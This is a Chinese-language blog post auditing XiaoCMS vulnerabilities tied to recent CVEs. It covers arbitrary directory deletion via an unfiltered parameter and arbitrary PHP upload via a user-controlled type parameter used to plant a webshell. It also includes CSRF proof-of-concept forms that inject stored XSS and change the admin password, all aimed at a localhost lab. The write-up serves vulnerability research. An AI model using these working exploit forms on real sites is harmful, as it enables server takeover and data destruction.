翻安全客的时候看到xiao cms爆了6个cve审计一下

任意目录删除

跟进一下database.php 看到action是import找到那个函数

可以看到 paths 这个post参数并没有对./进行过滤,可以进行任意文件删除,而且payload的paths参数应该是post=。=
放一个自己的目录测试一下

创建了一个ckj123的目录,试下能不能删除


成功
上传任意文件

很明显的可以看到uploadfile.php文件 找到上传文件的地方
所有的upload需要一个upload函数

看到他加载了一个叫做upload的类 然后获得了文件最后的扩展名,判断了是图片还是别的文件 跟进upload

跟进upload类

里面有个过滤的地方


获得后缀,跟限制的类型进行比较

可以看到这个type是需要自己传进去的

总共两个action 下面那个的type是规定死的 发现上面那个的type是需要自己传进去的这就可以传php文件了

<html>
<body>
<form action="http://127.0.0.1:8080/admin/index.php?c=uploadfile&a=uploadify_upload&type=php&size=1000" method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" name="submit" value="submit" />
</form>
</body>
</html>CVE给的payload不对。。

成功了,然后连接一下这个马

CSRF
他没有判断referer是从哪里来的,可以随意csrf,举两个例子 任意添加一个xss面板
代码语言:javascript复制<html>
<body>
<form action="http://127.0.0.1:8080/admin/index.php?c=content&a=add&catid=3" method="POST">
<input type="hidden" name="data[catid]" value="3" />
<input type="hidden" name="data[title]" value="test" />
<input type="hidden" name="data[thumb]" value="" />
<input type="hidden" name="data[keywords]" value="" />
<input type="hidden" name="data[description]" value="" />
<input type="hidden" name="data[content]" value="<script>alert(1)</script>" />
<input type="hidden" name="data[xiao_auto_description]" value="1" />
<input type="hidden" name="data[xiao_auto_thumb]" value="1" />
<input type="hidden" name="data[xiao_download_image]" value="1" />
<input type="hidden" name="data[time]" value="2018-11-02 15:05:43" />
<input type="hidden" name="data[hits]" value="" />
<input type="hidden" name="submit" value="提交" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>改管理员的密码
代码语言:javascript复制<form action="http://127.0.0.1:8080/admin/index.php?c=index&a=my" method="POST">
<input type="hidden" name="data[password]" value="1234567">
<input type="hidden" name="submit" value="提交" />
<input type="submit" value="Submit request" />
</form>后记
xss的漏洞没看,以后有空补上,xss要跟的地方太多了=。=,太菜


